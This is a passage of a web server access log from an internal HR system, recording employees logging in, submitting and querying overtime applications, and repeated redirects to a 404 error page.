Chrome/105.0.0.0 Safari/537.36" 192.168.133.93 - - [04/Dec/2025:19:14:35 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.133.93 - - [04/Dec/2025:19:14:35 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.133.93 - - [04/Dec/2025:19:14:35 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.133.93 - - [04/Dec/2025:19:14:35 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.133.93 - - [04/Dec/2025:19:14:35 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.133.93 - - [04/Dec/2025:19:14:36 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.133.93 - - [04/Dec/2025:19:14:36 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.133.93 - - [04/Dec/2025:19:14:36 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.133.93 - - [04/Dec/2025:19:14:36 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.133.93 - - [04/Dec/2025:19:14:36 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.133.93 - - [04/Dec/2025:19:14:36 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.133.93 - - [04/Dec/2025:19:14:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.133.93 - - [04/Dec/2025:19:14:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.133.93 - - [04/Dec/2025:19:14:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.133.93 - - [04/Dec/2025:19:14:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.133.93 - - [04/Dec/2025:19:14:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.133.93 - - [04/Dec/2025:19:14:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.133.93 - - [04/Dec/2025:19:14:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.133.93 - - [04/Dec/2025:19:14:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.133.93 - - [04/Dec/2025:19:14:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.133.93 - - [04/Dec/2025:19:14:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.133.93 - - [04/Dec/2025:19:14:38 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.133.93 - - [04/Dec/2025:19:14:38 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.133.93 - - [04/Dec/2025:19:14:45 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.133.93 - - [04/Dec/2025:19:14:45 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.133.93 - - [04/Dec/2025:19:14:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 6702 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.133.93 - - [04/Dec/2025:19:14:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 6702 192.168.11.77 - - [04/Dec/2025:19:30:56 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.77 - - [04/Dec/2025:19:30:56 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.77 - - [04/Dec/2025:19:30:59 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.77 - - [04/Dec/2025:19:30:59 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.77 - - [04/Dec/2025:19:31:04 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.77 - - [04/Dec/2025:19:31:04 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 192.168.11.77 - - [04/Dec/2025:19:31:05 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.77 - - [04/Dec/2025:19:31:05 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.77 - - [04/Dec/2025:19:31:10 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.77 - - [04/Dec/2025:19:31:10 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 192.168.11.77 - - [04/Dec/2025:19:31:11 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.77 - - [04/Dec/2025:19:31:11 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.77 - - [04/Dec/2025:19:31:13 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.77 - - [04/Dec/2025:19:31:13 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.77 - - [04/Dec/2025:19:31:29 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4124504680912151 HTTP/1.1" 200 8588 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.77 - - [04/Dec/2025:19:31:29 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4124504680912151 HTTP/1.1" 200 8588 192.168.11.77 - - [04/Dec/2025:19:31:32 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4124504680912151 HTTP/1.1" 200 14552 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4124504680912151" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.77 - - [04/Dec/2025:19:31:32 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4124504680912151 HTTP/1.1" 200 14552 192.168.11.77 - - [04/Dec/2025:19:31:50 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4063 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.77 - - [04/Dec/2025:19:31:50 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4063 192.168.11.77 - - [04/Dec/2025:19:31:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.77 - - [04/Dec/2025:19:31:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.52 - - [04/Dec/2025:19:32:18 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [04/Dec/2025:19:32:18 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.52 - - [04/Dec/2025:19:32:20 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [04/Dec/2025:19:32:20 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.52 - - [04/Dec/2025:19:32:26 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [04/Dec/2025:19:32:26 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 192.168.11.52 - - [04/Dec/2025:19:32:26 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [04/Dec/2025:19:32:26 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.52 - - [04/Dec/2025:19:32:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [04/Dec/2025:19:32:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.52 - - [04/Dec/2025:19:32:53 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.023271560706952465 HTTP/1.1" 200 8588 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [04/Dec/2025:19:32:53 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.023271560706952465 HTTP/1.1" 200 8588 192.168.11.52 - - [04/Dec/2025:19:32:57 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.023271560706952465 HTTP/1.1" 200 14546 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.023271560706952465" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [04/Dec/2025:19:32:57 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.023271560706952465 HTTP/1.1" 200 14546 192.168.11.52 - - [04/Dec/2025:19:33:11 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4063 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [04/Dec/2025:19:33:11 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4063 192.168.11.52 - - [04/Dec/2025:19:33:12 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7521 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [04/Dec/2025:19:33:12 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7521 192.168.11.52 - - [04/Dec/2025:19:33:15 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 165779 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.52 - - [04/Dec/2025:19:33:15 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 165779 192.168.11.60 - - [04/Dec/2025:19:56:59 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:19:56:59 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 - 192.168.11.60 - - [04/Dec/2025:19:57:00 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:19:57:00 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.60 - - [04/Dec/2025:19:57:03 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:19:57:03 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.60 - - [04/Dec/2025:19:57:08 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 20159 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:19:57:08 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 20159 192.168.11.60 - - [04/Dec/2025:19:57:09 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:19:57:09 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.60 - - [04/Dec/2025:19:57:12 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:19:57:12 +0800] "GET 